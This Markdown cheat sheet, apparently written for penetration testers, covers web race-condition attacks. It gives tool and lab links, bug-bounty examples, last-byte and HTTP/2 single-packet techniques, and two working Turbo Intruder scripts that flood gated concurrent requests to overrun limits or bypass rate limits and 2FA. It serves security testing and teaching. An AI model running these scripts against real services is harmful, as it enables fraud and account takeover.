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167 lines
7.5 KiB
Markdown
167 lines
7.5 KiB
Markdown
# Race Condition
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> Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.
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## Summary
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- [Tools](#tools)
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- [Labs](#labs)
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- [Exploit](#exploit)
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- [Limit-overrun](#limit-overrun)
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- [Rate-limit bypass](#rate-limit-bypass)
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- [Techniques](#techniques)
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- [HTTP/1.1 last-byte synchronization](#http11-last-byte-synchronization)
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- [HTTP/2 Single-packet attack](#http2-single-packet-attack)
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- [Turbo Intruder](#turbo-intruder)
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- [Example 1](#example-1)
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- [Example 2](#example-2)
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- [References](#references)
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## Tools
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- [PortSwigger/turbo-intruder](https://github.com/PortSwigger/turbo-intruder) - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
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- [JavanXD/Raceocat](https://github.com/JavanXD/Raceocat) - Make exploiting race conditions in web applications highly efficient and ease-of-use.
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- [nxenon/h2spacex](https://github.com/nxenon/h2spacex) - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy + Exploit Timing Attacks
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## Labs
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- [PortSwigger - Limit overrun race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun)
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- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
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- [PortSwigger - Bypassing rate limits via race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits)
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- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
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- [PortSwigger - Single-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)
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- [PortSwigger - Exploiting time-sensitive vulnerabilities](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)
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- [PortSwigger - Partial construction race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)
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## Exploit
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### Limit-overrun
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Overdrawing limit, multiple voting, multiple spending of a giftcard.
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**Examples**:
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- [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247)
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- [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007)
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- [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609)
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### Rate-limit bypass
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Bypassing anti-bruteforce mechanism and 2FA.
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**Examples**:
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- [Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah](https://youtu.be/4O9FjTMlHUM)
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## Techniques
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### HTTP/1.1 last-byte synchronization
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Send every requests except the last byte, then "release" each request by sending the last byte.
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Execute a last-byte synchronization using Turbo Intruder
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```py
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engine.queue(request, gate='race1')
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engine.queue(request, gate='race1')
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engine.openGate('race1')
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```
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**Examples**:
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- [Cracking reCAPTCHA, Turbo Intruder style - James Kettle](https://portswigger.net/research/cracking-recaptcha-turbo-intruder-style)
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### HTTP/2 Single-packet attack
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In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.
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- [turbo-intruder/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py)
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- Burp Suite
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- Send a request to Repeater
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- Duplicate the request 20 times (CTRL+R)
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- Create a new group and add all the requests
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- Send group in parallel (single-packet attack)
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**Examples**:
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- [CVE-2022-4037 - Discovering a race condition vulnerability in Gitlab with the single-packet attack - James Kettle](https://youtu.be/Y0NVIVucQNE)
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## Turbo Intruder
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### Example 1
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1. Send request to turbo intruder
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2. Use this python code as a payload of the turbo intruder
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```python
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def queueRequests(target, wordlists):
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engine = RequestEngine(endpoint=target.endpoint,
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concurrentConnections=30,
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requestsPerConnection=30,
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pipeline=False
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)
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for i in range(30):
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engine.queue(target.req, i)
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engine.queue(target.req, target.baseInput, gate='race1')
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engine.start(timeout=5)
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engine.openGate('race1')
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engine.complete(timeout=60)
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def handleResponse(req, interesting):
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table.add(req)
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```
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3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
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4. Click "Attack"
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### Example 2
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This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.
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```python
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def queueRequests(target, wordlists):
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engine = RequestEngine(endpoint=target.endpoint,
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concurrentConnections=30,
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requestsPerConnection=100,
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pipeline=False
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)
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request1 = '''
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POST /target-URI-1 HTTP/1.1
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Host: <REDACTED>
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Cookie: session=<REDACTED>
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parameterName=parameterValue
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'''
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request2 = '''
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GET /target-URI-2 HTTP/1.1
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Host: <REDACTED>
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Cookie: session=<REDACTED>
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'''
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engine.queue(request1, gate='race1')
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for i in range(30):
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engine.queue(request2, gate='race1')
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engine.openGate('race1')
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engine.complete(timeout=60)
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def handleResponse(req, interesting):
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table.add(req)
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```
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## References
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- [Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit - @ryotkak - August 2, 2024](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
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- [DEF CON 31 - Smashing the State Machine the True Potential of Web Race Conditions - James Kettle (@albinowax) - September 15, 2023](https://youtu.be/tKJzsaB1ZvI)
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- [Exploiting Race Condition Vulnerabilities in Web Applications - Javan Rasokat - October 6, 2022](https://conference.hitb.org/hitbsecconf2022sin/materials/D2%20COMMSEC%20-%20Exploiting%20Race%20Condition%20Vulnerabilities%20in%20Web%20Applications%20-%20Javan%20Rasokat.pdf)
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- [New techniques and tools for web race conditions - Emma Stocks - August 10, 2023](https://portswigger.net/blog/new-techniques-and-tools-for-web-race-conditions)
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- [Race Condition Bug In Web App: A Use Case - Mandeep Jadon - April 24, 2018](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)
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- [Race conditions on the web - Josip Franjkovic - July 12, 2016](https://www.josipfranjkovic.com/blog/race-conditions-on-web)
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- [Smashing the state machine: the true potential of web race conditions - James Kettle (@albinowax) - August 9, 2023](https://portswigger.net/research/smashing-the-state-machine)
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- [Turbo Intruder: Embracing the billion-request attack - James Kettle (@albinowax) - January 25, 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) |